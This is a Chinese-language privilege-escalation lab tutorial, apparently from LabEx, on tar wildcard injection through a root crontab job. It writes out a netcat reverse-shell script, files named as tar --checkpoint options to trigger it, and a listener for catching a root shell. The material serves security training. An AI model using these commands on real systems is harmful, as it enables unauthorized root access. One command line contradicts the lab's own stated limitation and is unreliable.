介绍
在本实验中,我们将学习通配符注入(wildcard injection),这是一种用于在 Linux 系统上进行权限提升的技术。具体来说,我们将探讨广泛使用的 tar 命令中的通配符注入原理,并通过结合 crontab 工具利用此漏洞来获取 root 权限,进行实际操作练习。
理解通配符
首先,让我们了解什么是通配符以及它们在 Linux shell 中的工作原理。通配符是特殊字符或字符序列,可用于表示或匹配一组文件名或路径。
以下是一些常见的通配符:
*(星号)匹配文件名或路径中的任意数量的字符(包括零个字符)。?(问号)匹配任意单个字符。[](方括号)匹配方括号内指定的字符集中的任意单个字符。~(波浪号)表示当前用户的主目录,如果后面跟有用户名,则表示其他用户的主目录。
在权限提升的上下文中,* 和 - 通配符经常被使用。让我们首先探索 shell 如何解释 - 字符。
打开终端并导航到
/home/labex/project目录:cd /home/labex/project当前目录中有一个名为
--help的文件。尝试思考并实验如何查看此文件的内容。如果你使用
cat --help命令,你会得到cat命令的帮助信息,而不是查看--help文件的内容。同样,如果你使用
vim --help,你会看到vim命令的帮助信息。这是因为 Linux shell 将
-解释为命令参数。要查看
--help文件的内容,你需要避免以-开头的文件名。你可以使用:cat /home/labex/project/--help这样,shell 就不会将
--help解释为参数,你就可以查看文件的内容了。现在,让我们用你选择的任何编辑器更改
--help文件的内容。例如,你可以使用nano:nano /home/labex/project/--help删除现有内容,并在文件中添加以下文本:
I can read the file保存并退出 nano。
shell 的这种行为正是通配符注入所利用的。
通配符注入通常与 cron 任务结合使用,因此让我们探索一个涉及 tar 命令的真实示例。
Crontab Tar 通配符注入
为了理解通配符注入如何导致权限提升,我们将通过一个涉及 tar 命令和 crontab 的实际操作练习来进行演示。
首先,通过运行以下命令初始化实验环境:
导航到
/home/labex/project目录:cd /home/labex/project运行设置脚本以初始化实验环境:
./env_setup.sh初始化后,你将切换到
user001用户(模拟攻击者已获得初始 shell 访问权限)。然后,检查
crontab中的计划任务:cat /etc/crontab预期输出:
* * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *你应该会看到一个每分钟运行一次的任务,该任务将
/var/www/html/目录的内容归档到一个压缩文件/var/backups/html.tgz中。接下来,查看
/var/www/html目录中的文件:ls /var/www/html为了利用通配符注入漏洞,我们需要在
/var/www/html/目录中创建以下三个文件。首先,导航到
/var/www/html目录:cd /var/www/html/shell.sh,内容为执行反向 shell 的命令:echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.sh一个名为
--checkpoint-action=exec=sh shell.sh的文件(注意文件名中的空格):echo "" > "--checkpoint-action=exec=sh shell.sh"一个名为
--checkpoint=1的文件:echo "" > --checkpoint=1
创建这些文件后,
/var/www/html/目录应如下所示:'--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.sh当 cron 任务执行以下命令时:
tar -zcf /var/backups/html.tgz /var/www/html/*它将被解释为:
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html以下是参数的含义:
--checkpoint和--checkpoint-action通常一起使用。前者设置检查点,后者指定在达到检查点时执行的操作。--checkpoint-action=exec=sh shell.sh表示在达到检查点时,将执行shell.sh脚本。
因此,每当 cron 任务运行时,
shell.sh脚本将被执行,这将反向 shell/bin/bash到本地端口 4444。在当前 shell 中设置一个监听本地端口 4444 的监听器:
nc -lnvp 4444稍等片刻,当 cron 任务执行时,我们应该会收到具有 root 权限的反向 shell:
预期输出:
Listening on 0.0.0.0 4444 Connection received on 127.0.0.1 56226尝试在
/root目录中创建一个文件success.txt,以确认你具有 root 权限:touch /root/success.txt如果你可以创建文件而没有任何权限错误,那么你已经成功地利用通配符注入提升了权限。
这种 tar + crontab 权限提升技术有两个重要的限制:
html目录需要为“其他”用户提供写(w)权限,以便我们可以在该目录中创建shell.sh和其他文件。crontab中的tar命令不应包含绝对路径。例如,如果crontab条目如下所示:* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*通配符注入将失败,因为 shell 会将命令解释为:
tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html在这种情况下,
/var/www/html/--checkpoint=1和/var/www/html/--checkpoint-action=exec=sh shell.sh不会被解释为tar命令参数,注入将失败。
总结
在本实验中,我们学习了通配符注入(wildcard injection),这是一种用于在 Linux 系统上进行权限提升的技术。我们探讨了广泛使用的 tar 命令中的通配符注入原理,并通过结合 crontab 工具利用此漏洞来获取 root 权限,进行了实际操作练习。通过本实验,我们获得了理解和利用真实世界权限提升漏洞的实践经验,这对于任何安全专业人员或系统管理员来说都是一项必备技能。